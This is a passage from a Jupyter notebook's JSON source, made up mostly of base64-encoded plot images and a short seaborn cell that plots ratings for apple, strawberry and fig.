DJo1H59Uab191f5KEoV8wdWFwwn6ADwop3\n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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x11531c210>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "f, ax = plt.subplots(ncols=1, figsize=(10, 4), sharey=True)\n", "g = sns.stripplot(x='item', y='rating', jitter=True, alpha=.1, size=12, linewidth=1,\n", " data=df.loc[df.category == 'fruit'], \n", " order=['apple', 'strawberry', 'fig'],\n", " palette=['limegreen', 'hotpink', 'mediumpurple'], ax=ax)\n", "g.set_xlabel('')" ] }, { "cell_type": "code", "execution_count": 35, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "<matplotlib.text.Text at 0x115b2ee10>" ] }, "execution_count": 35, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAm0AAAEVCAYAAACyktKPAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3XmQLFtC3/dvnsysvau3u703j5n3Bpg0Mpv0IrRhh41k\nBcZowJIx4TAghwBJJiQLLCG2QEKgDQgkI4cEIQvbwhJIwhJgjVBgSyGEZC0gjUBYwOQsbx7DnXe3\nXqurKiu3k/7jdFZV9+3bt+vevl3dt3+fiIqqOnny5Jme7Nu/dzLzHK+qKkRERETkcjPL7oCIiIiI\nPJ1Cm4iIiMgVoNAmIiIicgUotImIiIhcAQptIiIiIleAQpuIiIjIFRAsuwNRFBngG4DfB9wBfgn4\nljiOf3qpHRMRERG5RC7DSNs3An8G+EHgS4CPAT8VRdHnLLVX8kyiKPpgFEUfXHY/RF4knedyHeg8\nv3wuQ2j7PcDfiOP4u+M4/sfAVwL3ga9ebrdERERELo/LENqawEH9JY5jC+wDG0vrkYiIiMgls/R7\n2oC/DPzxKIp+Avg3wO8Ffh3wLUvtlYiIiMglchlC2w8Avw34R4ffK+Db4jj+yeV1SURERORyuQyh\n7f8B/gPgvwc+BPxnwJ+MomgvjuMfOGsjp9ws+XXAPaB83o7KmTQAoih6fcn9EHmRdJ7LdaDz/OL5\nwE8Co+Mb4jh+c6mhLYqizwM+D/jSOI5/7LD4n0ZRFALfE0XRD8VxPH6OQ3SBf/a8/ZRn8vFld0Dk\nAug8l+tA5/nFizkhuC17pO1TcJdDf/ZY+f+LmwrkdeCXz9JQHMdvHi+LouhTgY/+8A//MHfu3Hm+\nnoqIiIi8QPfv3+fLv/zLAb